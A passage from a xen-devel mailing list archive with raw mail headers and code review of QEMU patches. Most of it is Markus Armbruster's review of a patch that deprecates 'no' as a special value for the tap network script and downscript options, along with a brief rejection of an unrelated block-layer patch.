        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Christian Schoenebeck <qemu_oss@crudebyte.com>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-6-fabb4db3c204@redhat.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <20260720-co-v1-6-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDIyOSBTYWx0ZWRfX5G7yxmoCABfS
 p0uOcnS31Z1w2reCq/S1hSaEyWpLhDYS8akEzfiTUZ36qAOYLCSCgxfdFJXPd+JKIkGB/PzAEj1
 gx0nqq7BWzW5jKgbSsLVwe64RJSV2dI=
X-Proofpoint-GUID: PlyockgLh3T1VLa0yD-qVzdeZZB0xUPp
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDIyOSBTYWx0ZWRfX4ngMRQRxbe67
 MOSVBOLkSYkrbFFockB7W4OosuPRYYSo3BE4yeBP4tBHxJYY/VONKtRx2t986+zGrOCYp8dHoiV
 Fllq+kZPAdunEu8IRn6HV3WVlq9jNQuXLa0xSM3OlGzZ451bcY9hKUryFfF95xBi2Pdu5itEtpj
 T4pMRNmE9j+RgW5qOCXrtUeSnfCAebgaNhEw3iHJiUVsDaP9rzc30f7+bxxnuwLu+mUCctiQuSg
 theYtWHayBKk4ObfMm+1liTYSjbh6jjaLMGii9UJ0wEiBxVKMUOJgNa3q0fFZnWXHODZ4LbmEuk
 +ZOELMuBy7KIhilm8W6hCj5R0ppOYJFksd+Q/rzd4Ha/Ld0SgvwmiwSwg/cBdsfIUExmrnP34lr
 G3fb2esrr+vGLCcWJ9rGrSyhsd1QiesQR/MmM7tvsp9hFVcIzn7u+8fJoB+Sb2sdfSzeqhnpW7Q
 jgEPFciVPhnulKIXIyw==
X-Proofpoint-ORIG-GUID: PlyockgLh3T1VLa0yD-qVzdeZZB0xUPp
X-Authority-Analysis: v=2.4 cv=f/x4wuyM c=1 sm=1 tr=0 ts=6a5e8c06 cx=c_pps
 a=mPf7EqFMSY9/WdsSgAYMbA==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=YMgV9FUhrdKAYTUUvYB2:22
 a=20KFwNOVAAAA:8 a=1BCzUFiEGB2mR181h8AA:9 a=3ZKOabzyN94A:10 a=QEXdDO2ut3YA:10
 a=dawVfQjAaf238kedN5IG:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_05,2026-07-20_03,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 bulkscore=0 priorityscore=1501 clxscore=1015 adultscore=0
 malwarescore=0 impostorscore=0 lowpriorityscore=0 spamscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607200229
X-purgate-ID: tlsNG-ebf023/1784581129-C1AD0B50-7BCAEC9D/0/0
X-purgate-type: clean
X-purgate-size: 723

On 20/7/26 09:55, Marc-AndrÃƒÂ© Lureau wrote:
> The functions call coroutine functions or are called by coroutine.
> 
> Add an assert() in qcow2_do_close() code path which calls a
> no_coroutine_fn bdrv_graph_wrlock_drained().
> 
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>   include/block/blockjob_int.h |  2 +-
>   block/crypto.c               | 13 +++++++------
>   block/io.c                   |  8 +++++---
>   block/parallels.c            |  5 +++--
>   block/qcow2.c                | 11 +++++++----
>   blockjob.c                   |  3 ++-
>   6 files changed, 25 insertions(+), 17 deletions(-)

Too many distinct code paths in a single patch to my
taste, I'll skip.


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 06:35:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 06:35:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367462.1617203 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm44L-0006oF-Gs; Tue, 21 Jul 2026 06:35:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367462.1617203; Tue, 21 Jul 2026 06:35:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm44L-0006o6-B5; Tue, 21 Jul 2026 06:35:09 +0000
Received: by outflank-mailman (input) for mailman id 1367462;
 Tue, 21 Jul 2026 06:35:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <armbru@redhat.com>) id 1wm44K-0006o0-Da
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 06:35:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm44I-000A8o-R2
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:35:06 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <armbru@redhat.com>)
 id 6a5f1311-bab6-0a2a0a5309dd-0a2a450b846c-38
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 08:35:06 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <armbru@redhat.com>)
 id 6a5f1319-b7e8-0a2a450b0019-aa0a857ca0ef-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 08:35:06 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-604-wzxJQAUMNzqWvGCT27IWnA-1; Tue,
 21 Jul 2026 02:34:58 -0400
Received: from mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.93])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 5A20A1809C86; Tue, 21 Jul 2026 06:34:55 +0000 (UTC)
Received: from blackfin.pond.sub.org (unknown [10.44.22.4])
 by mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 91EBF1800765; Tue, 21 Jul 2026 06:34:53 +0000 (UTC)
Received: by blackfin.pond.sub.org (Postfix, from userid 1000)
 id 1E88B21E6920; Tue, 21 Jul 2026 08:34:51 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784615705;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=ggWtoUnVvagbR9lv+Ss9AfcYLxmYgfnKYeppz2nM7Ag=;
	b=KXRE6z/oMHfqmS1Oeln9HPi6HAm3gVrx6SWgoTvOu6xikZgiyYGFaxUlJ4O5lDrvemhFMY
	gVn9yam1btCxt7irIzeFDCNchAA8zdYPpHCprHXuQHw04yERmG10l+RjA9pUW9YGNB5dVL
	g2RcVMsUSW3Gnn/ylmxcXAMZEs/lz/o=
X-MC-Unique: wzxJQAUMNzqWvGCT27IWnA-1
X-Mimecast-MFC-AGG-ID: wzxJQAUMNzqWvGCT27IWnA_1784615696
From: Markus Armbruster <armbru@redhat.com>
To: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
Cc: jasowang@redhat.com,  mst@redhat.com,  peterx@redhat.com,
  farosas@suse.de,  raphael.s.norwitz@gmail.com,  bchaney@akamai.com,
  qemu-devel@nongnu.org,  berrange@redhat.com,  pbonzini@redhat.com,
  yc-core@yandex-team.ru,  mark.caveayland@nutanix.com,  Pierrick Bouvier
 <pierrick.bouvier@oss.qualcomm.com>,  Sergio Lopez <slp@redhat.com>,  Zhao
 Liu <zhao1.liu@intel.com>,  Stefano Stabellini <sstabellini@kernel.org>,
  Anthony PERARD <anthony@xenproject.org>,  "Edgar E. Iglesias"
 <edgar.iglesias@gmail.com>,  Bernhard Beschow <shentey@gmail.com>,
  Alistair Francis <Alistair.Francis@wdc.com>,  Palmer Dabbelt
 <palmer@dabbelt.com>,  Jason Wang <jasowangio@gmail.com>,  Eric Blake
 <eblake@redhat.com>,  devel@lists.libvirt.org (open list:Incompatible
 changes),  xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
  qemu-ppc@nongnu.org (open list:e500),  qemu-riscv@nongnu.org (open
 list:Microchip PolarFi...)
Subject: Re: [PATCH v19 03/15] net/tap: deprecate "no" as special value for
 script/downscript
In-Reply-To: <20260714154246.1242856-4-vsementsov@yandex-team.ru> (Vladimir
	Sementsov-Ogievskiy's message of "Tue, 14 Jul 2026 18:42:31 +0300")
References: <20260714154246.1242856-1-vsementsov@yandex-team.ru>
	<20260714154246.1242856-4-vsementsov@yandex-team.ru>
Date: Tue, 21 Jul 2026 08:34:51 +0200
Message-ID: <87pl0gsvec.fsf@pond.sub.org>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.93
X-Mimecast-MFC-PROC-ID: okJqLzCMB0bxKBHI7mLHmXrnD1deNvKv8tGqBhnzocM_1784615696
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1784615706-1B8D19EA-6D3A33A9/0/0
X-purgate-type: clean
X-purgate-size: 14105

Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru> writes:

> The interface is ambiguous, as "no" is valid file name. So,
> using "no" as a special value to disable script is deprecated.
> Use an empty string ("script=3D" / "downscript=3D") instead.
>
> In a future version, "no" will be treated as a plain file name, just
> like any other non-empty value.
>
> Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
> and qemu-options.hx. Update other docs to use empty string instead of
> "no". Add a warning.
>
> Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
> ---
>  docs/about/deprecated.rst                  | 18 ++++++++++++++
>  docs/system/i386/microvm.rst               |  4 +--
>  docs/system/i386/xenpvh.rst                |  2 +-
>  docs/system/ppc/ppce500.rst                |  4 +--
>  docs/system/riscv/microchip-icicle-kit.rst |  2 +-
>  docs/system/riscv/sifive_u.rst             |  2 +-
>  net/tap.c                                  | 29 ++++++++++++++--------
>  qapi/net.json                              | 12 ++++++---
>  qemu-options.hx                            |  7 ++++--
>  9 files changed, 56 insertions(+), 24 deletions(-)
>
> diff --git a/docs/about/deprecated.rst b/docs/about/deprecated.rst
> index 0c656a968fc..c4929317e3a 100644
> --- a/docs/about/deprecated.rst
> +++ b/docs/about/deprecated.rst
> @@ -71,6 +71,15 @@ flexible enough. The monitor objects have been convert=
ed to QOM, so
>  ``-mon mode=3Dcontrol`` is replaced by ``-object monitor-qmp``. The
>  short convenience options are not deprecated, only ``-mon``.
> =20
> +``script=3Dno`` and ``downscript=3Dno`` for ``-netdev tap`` (since 11.2)
> +'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
> +
> +The special value ``"no"`` for the ``script`` and ``downscript``
> +parameters of ``-netdev tap`` disables script execution.  This special
> +treatment of ``"no"`` is deprecated.  Use an empty string (``script=3D``
> +or ``downscript=3D``) to disable script execution instead.  In a future
> +version, ``"no"`` will be treated as a plain file name.
> +
>  QEMU Machine Protocol (QMP) commands
>  ------------------------------------
> =20
> @@ -164,6 +173,15 @@ Use ``job-finalize`` instead.
> =20
>  Use ``query-accelerators`` instead.
> =20
> +``"no"`` as value of ``script``/``downscript`` for tap in ``netdev_add``=
 (since 11.2)
> +''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''=
'''''''''''''
> +
> +The special value ``"no"`` for the ``script`` and ``downscript``
> +parameters of ``netdev_add`` with ``type=3Dtap`` disables script
> +execution.  This special treatment of ``"no"`` is deprecated.  Use an
> +empty string instead.  In a future version, ``"no"`` will be treated as
> +a plain file name.
> +
>  Human Machine Protocol (HMP) commands
>  -------------------------------------
> =20
> diff --git a/docs/system/i386/microvm.rst b/docs/system/i386/microvm.rst
> index 1675e37d3e7..077ea15751e 100644
> --- a/docs/system/i386/microvm.rst
> +++ b/docs/system/i386/microvm.rst
> @@ -79,7 +79,7 @@ legacy ``ISA serial`` device as console::
>       -serial stdio \
>       -drive id=3Dtest,file=3Dtest.img,format=3Draw,if=3Dnone \
>       -device virtio-blk-device,drive=3Dtest \
> -     -netdev tap,id=3Dtap0,script=3Dno,downscript=3Dno \
> +     -netdev tap,id=3Dtap0,script=3D,downscript=3D \
>       -device virtio-net-device,netdev=3Dtap0
> =20
>  While the example above works, you might be interested in reducing the
> @@ -103,7 +103,7 @@ disabled::
>       -device virtconsole,chardev=3Dvirtiocon0 \
>       -drive id=3Dtest,file=3Dtest.img,format=3Draw,if=3Dnone \
>       -device virtio-blk-device,drive=3Dtest \
> -     -netdev tap,id=3Dtap0,script=3Dno,downscript=3Dno \
> +     -netdev tap,id=3Dtap0,script=3D,downscript=3D \
>       -device virtio-net-device,netdev=3Dtap0
> =20
> =20
> diff --git a/docs/system/i386/xenpvh.rst b/docs/system/i386/xenpvh.rst
> index 904778e3f5c..862f38830b1 100644
> --- a/docs/system/i386/xenpvh.rst
> +++ b/docs/system/i386/xenpvh.rst
> @@ -42,7 +42,7 @@ case you need to construct one manually:
>        -vnc none                                       \
>        -display none                                   \
>        -device virtio-net-pci,id=3Dnic0,netdev=3Dnet0,mac=3D00:16:3e:5c:8=
1:78 \
> -      -netdev type=3Dtap,id=3Dnet0,ifname=3Dvif3.0-emu,br=3Dxenbr0,scrip=
t=3Dno,downscript=3Dno \
> +      -netdev type=3Dtap,id=3Dnet0,ifname=3Dvif3.0-emu,br=3Dxenbr0,scrip=
t=3D,downscript=3D \
>        -smp 4,maxcpus=3D4                                \
>        -nographic                                      \
>        -machine xenpvh,ram-low-base=3D0,ram-low-size=3D2147483648,ram-hig=
h-base=3D4294967296,ram-high-size=3D2147483648,pci-ecam-base=3D824633720832=
,pci-ecam-size=3D268435456,pci-mmio-base=3D4026531840,pci-mmio-size=3D33554=
432,pci-mmio-high-base=3D824902156288,pci-mmio-high-size=3D68719476736 \
> diff --git a/docs/system/ppc/ppce500.rst b/docs/system/ppc/ppce500.rst
> index c9fe0915dc5..ec5aaf14fd9 100644
> --- a/docs/system/ppc/ppce500.rst
> +++ b/docs/system/ppc/ppce500.rst
> @@ -158,14 +158,14 @@ interface at PCI address 0.1.0, but we can switch t=
hat to an e1000 NIC by:
>    $ qemu-system-ppc64 -M ppce500 -smp 4 -m 2G \
>                        -display none -serial stdio \
>                        -bios u-boot \
> -                      -nic tap,ifname=3Dtap0,script=3Dno,downscript=3Dno=
,model=3De1000
> +                      -nic tap,ifname=3Dtap0,script=3D,downscript=3D,mod=
el=3De1000
> =20
>  The QEMU ``ppce500`` machine can also dynamically instantiate an eTSEC d=
evice
>  if =E2=80=9C-device eTSEC=E2=80=9D is given to QEMU:
> =20
>  .. code-block:: bash
> =20
> -  -netdev tap,ifname=3Dtap0,script=3Dno,downscript=3Dno,id=3Dnet0 -devic=
e eTSEC,netdev=3Dnet0
> +  -netdev tap,ifname=3Dtap0,script=3D,downscript=3D,id=3Dnet0 -device eT=
SEC,netdev=3Dnet0
> =20
>  Root file system on flash drive
>  -------------------------------
> diff --git a/docs/system/riscv/microchip-icicle-kit.rst b/docs/system/ris=
cv/microchip-icicle-kit.rst
> index 9809e94b84b..7fdb96601ad 100644
> --- a/docs/system/riscv/microchip-icicle-kit.rst
> +++ b/docs/system/riscv/microchip-icicle-kit.rst
> @@ -84,7 +84,7 @@ Then we can boot the machine by:
>    $ qemu-system-riscv64 -M microchip-icicle-kit -smp 5 -m 2G \
>        -sd path/to/sdcard.img \
>        -nic user,model=3Dcadence_gem \
> -      -nic tap,ifname=3Dtap,model=3Dcadence_gem,script=3Dno \
> +      -nic tap,ifname=3Dtap,model=3Dcadence_gem,script=3D \
>        -display none -serial stdio \
>        -kernel path/to/u-boot/build/dir/u-boot.bin \
>        -dtb path/to/u-boot/build/dir/u-boot.dtb
> diff --git a/docs/system/riscv/sifive_u.rst b/docs/system/riscv/sifive_u.=
rst
> index 8f55ae8e313..0e4dcf3e70c 100644
> --- a/docs/system/riscv/sifive_u.rst
> +++ b/docs/system/riscv/sifive_u.rst
> @@ -199,7 +199,7 @@ To boot the VxWorks kernel in QEMU with the ``sifive_=
u`` machine, use:
> =20
>    $ qemu-system-riscv64 -M sifive_u -smp 5 -m 2G \
>        -display none -serial stdio \
> -      -nic tap,ifname=3Dtap0,script=3Dno,downscript=3Dno \
> +      -nic tap,ifname=3Dtap0,script=3D,downscript=3D \
>        -kernel /path/to/vxWorks \
>        -append "gem(0,0)host:vxWorks h=3D192.168.200.1 e=3D192.168.200.2:=
ffffff00 u=3Dtarget pw=3DvxTarget f=3D0x01"
> =20
> diff --git a/net/tap.c b/net/tap.c
> index fedd48c48d2..2e94b4015f6 100644
> --- a/net/tap.c
> +++ b/net/tap.c
> @@ -92,34 +92,40 @@ static void launch_script(const char *setup_script, c=
onst char *ifname,
>  static void tap_send(void *opaque);
>  static void tap_writable(void *opaque);
> =20
> -static bool tap_is_explicit_no_script(const char *script_arg)
> +static bool tap_is_explicit_no_script(const char *script_arg_name,
> +                                      const char *script_arg_value)
>  {
> -    if (!script_arg) {
> +    if (!script_arg_value) {
>          return false;
>      }
> =20
> -    if (script_arg[0] =3D=3D '\0') {
> +    if (script_arg_value[0] =3D=3D '\0') {
>          return true;
>      }
> =20
> -    if (strcmp(script_arg, "no") =3D=3D 0) {
> +    if (strcmp(script_arg_value, "no") =3D=3D 0) {
> +        warn_report("%s=3Dno is deprecated; use %s=3D instead "

Maybe "'%s=3Dno' is deprecated; use '%s=3D' instead ".

> +                    "(empty string instead of 'no')",

Not sure this is needed. =20

> +                    script_arg_name, script_arg_name);
>          return true;
>      }
> =20
>      return false;
>  }

Less churn if you name the argument @script_arg_value in PATCH 01.

> =20
> -static char *tap_parse_script(const char *script_arg, const char *defaul=
t_path)
> +static char *tap_parse_script(const char *script_arg_name,
> +                              const char *script_arg_value,
> +                              const char *default_path)
>  {
> -    if (tap_is_explicit_no_script(script_arg)) {
> +    if (tap_is_explicit_no_script(script_arg_name, script_arg_value)) {
>          return NULL;
>      }
> =20
> -    if (!script_arg) {
> +    if (!script_arg_value) {
>          return get_relocated_path(default_path);
>      }
> =20
> -    return g_strdup(script_arg);
> +    return g_strdup(script_arg_value);
>  }
> =20
>  static void tap_update_fd_handler(TAPState *s)
> @@ -740,7 +746,7 @@ static bool net_init_tap_one(const NetdevTapOptions *=
tap, NetClientState *peer,
>          qemu_set_info_str(&s->nc, "helper=3D%s", tap->helper);
>      } else {
>          qemu_set_info_str(&s->nc, "ifname=3D%s,script=3D%s,downscript=3D=
%s", ifname,
> -                          script ?: "no", downscript ?: "no");
> +                          script ?: "", downscript ?: "");
> =20
>          if (downscript) {
>              snprintf(s->down_script, sizeof(s->down_script), "%s", downs=
cript);
> @@ -946,9 +952,10 @@ int net_init_tap(const Netdev *netdev, const char *n=
ame,
>          }
>      } else {
>          g_autofree char *script =3D
> -            tap_parse_script(tap->script, DEFAULT_NETWORK_SCRIPT);
> +            tap_parse_script("script", tap->script, DEFAULT_NETWORK_SCRI=
PT);
>          g_autofree char *downscript =3D
> -            tap_parse_script(tap->downscript, DEFAULT_NETWORK_DOWN_SCRIP=
T);
> +            tap_parse_script("downscript", tap->downscript,
> +                             DEFAULT_NETWORK_DOWN_SCRIPT);
> =20
>          if (tap->ifname) {
>              pstrcpy(ifname, sizeof ifname, tap->ifname);
> diff --git a/qapi/net.json b/qapi/net.json
> index 8f0915c4d86..ada0329ef9d 100644
> --- a/qapi/net.json
> +++ b/qapi/net.json
> @@ -399,15 +399,19 @@
>  # @fds: multiple file descriptors of already opened multiqueue capable
>  #     tap
>  #
> -# @script: script to initialize the interface.  An empty string or
> -#     "no" disables script execution.  Defaults to
> +# @script: script to initialize the interface.  An empty string
> +#     disables script execution.  Defaults to
>  #     ``<sysconfdir>/qemu-ifup``, where ``<sysconfdir>`` is the
>  #     system configuration directory at build time (typically /etc).
> +#     Using "no" to disable script execution is deprecated (since
> +#     11.2); use an empty string instead.
>  #
> -# @downscript: script to shut down the interface.  An empty string or
> -#     "no" disables script execution.  Defaults to
> +# @downscript: script to shut down the interface.  An empty string
> +#     disables script execution.  Defaults to
>  #     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the
>  #     system configuration directory at build time (typically /etc).
> +#     Using "no" to disable script execution is deprecated (since
> +#     11.2); use an empty string instead.
>  #
>  # @br: bridge name (since 2.8)
>  #
> diff --git a/qemu-options.hx b/qemu-options.hx
> index 200949655ea..7b9a14f5b38 100644
> --- a/qemu-options.hx
> +++ b/qemu-options.hx
> @@ -3014,7 +3014,8 @@ DEF("netdev", HAS_ARG, QEMU_OPTION_netdev,
>      "                use network scripts 'file' (default=3D" DEFAULT_NET=
WORK_SCRIPT ")\n"
>      "                to configure it and 'dfile' (default=3D" DEFAULT_NE=
TWORK_DOWN_SCRIPT ")\n"
>      "                to deconfigure it\n"
> -    "                use '[down]script=3Dno' or '[down]script=3D' to dis=
able script execution\n"
> +    "                use '[down]script=3D' to disable script execution\n=
"
> +    "                ('[down]script=3Dno' is deprecated and will be trea=
ted as a file name in future)\n"
>      "                use network helper 'helper' (default=3D" DEFAULT_BR=
IDGE_HELPER ") to\n"
>      "                configure it\n"
>      "                use 'fd=3Dh' to connect to an already opened TAP in=
terface\n"
> @@ -3553,7 +3554,9 @@ SRST
>      ``<sysconfdir>/qemu-ifup`` and the default network deconfigure scrip=
t is
>      ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the system
>      configuration directory at build time (typically ``/etc``).
> -    Use ``[down]script=3Dno`` or ``[down]script=3D`` to disable script e=
xecution.
> +    Use ``[down]script=3D`` to disable script execution.
> +    Using ``[down]script=3Dno`` is deprecated; in a future version it wi=
ll
> +    be treated as a plain file name.
> =20
>      If running QEMU as an unprivileged user, use the network helper
>      to configure the TAP interface and attach it to the bridge.

You mention what "no" does only in QMP documentation.

You mention what "no" will do in a future version only in CLI
documentation.

If information is useful enough to justify the space in one place, it's
likely useful enough in the other place, too.

Up to you.

Reviewed-by: Markus Armbruster <armbru@redhat.com>



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:05:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:05:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367470.1617212 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4XI-0003MU-Lu; Tue, 21 Jul 2026 07:05:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367470.1617212; Tue, 21 Jul 2026 07:05:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4XI-0003MN-IJ; Tue, 21 Jul 2026 07:05:04 +0000
Received: by outflank-mailman (input) for mailman id 1367470;
 Tue, 21 Jul 2026 07:05:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vsementsov@yandex-team.ru>) id 1wm4XG-0003MH-3a
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:05:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm4XF-00BZDq-2i
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:05:01 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a5f1a17-e002-0a2a0a5209dd-0a2a45039a52-6
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:04:57 +0200
Received: from [178.154.239.200] (helo=forwardcorp1d.mail.yandex.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a5f1a13-fae8-0a2a45030019-b29aefc8863e-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:04:52 +0200
Received: from mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 (mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 [IPv6:2a02:6b8:c42:86a0:0:640:75de:0])
 by forwardcorp1d.mail.yandex.net (postfix) with ESMTPS id AC555807C6;
 Tue, 21 Jul 2026 10:04:51 +0300 (MSK)
Received: from [IPV6:2a02:6bf:8080:45b::1:22] (unknown
 [2a02:6bf:8080:45b::1:22])
 by mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net (smtpcorp) with ESMTPSA
 id n4QARH1Z2qM0-rIM1JkaF; Tue, 21 Jul 2026 10:04:51 +0300
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=default header.d=yandex-team.ru header.i="@yandex-team.ru" header.h="From:In-Reply-To:Cc:Date:References:To:Subject:Message-ID"
Precedence: bulk
X-Yandex-Fwd: 1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru;
	s=default; t=1784617491;
	bh=5eXo5OMb05NzrqYIKMUqwTtEMWdHoYTOtALuQXSrorY=;
	h=From:In-Reply-To:Cc:Date:References:To:Subject:Message-ID;
	b=nzgq2HueebqPNHf6NPcPL3668BJ4XjXv7hcR8XNDf2RCSP0uD6bMwDvTgHElsWWnF
	 v27O2rTooJbPifLiEYAlEoF9TvlLonrXrucm2DT77ZdzVo0ESXmkRyee7Li5xr9S1B
	 e98W4slHamru2tv9lehCt3BbWrGU9gQk4YtUgbBg=
Authentication-Results: mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net; dkim=pass header.i=@yandex-team.ru
Message-ID: <3460003e-8e38-438c-ab81-730103880571@yandex-team.ru>
Date: Tue, 21 Jul 2026 10:04:49 +0300
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v19 03/15] net/tap: deprecate "no" as special value for
 script/downscript
To: Markus Armbruster <armbru@redhat.com>
Cc: jasowang@redhat.com, mst@redhat.com, peterx@redhat.com, farosas@suse.de,
 raphael.s.norwitz@gmail.com, bchaney@akamai.com, qemu-devel@nongnu.org,
 berrange@redhat.com, pbonzini@redhat.com, yc-core@yandex-team.ru,
 mark.caveayland@nutanix.com,
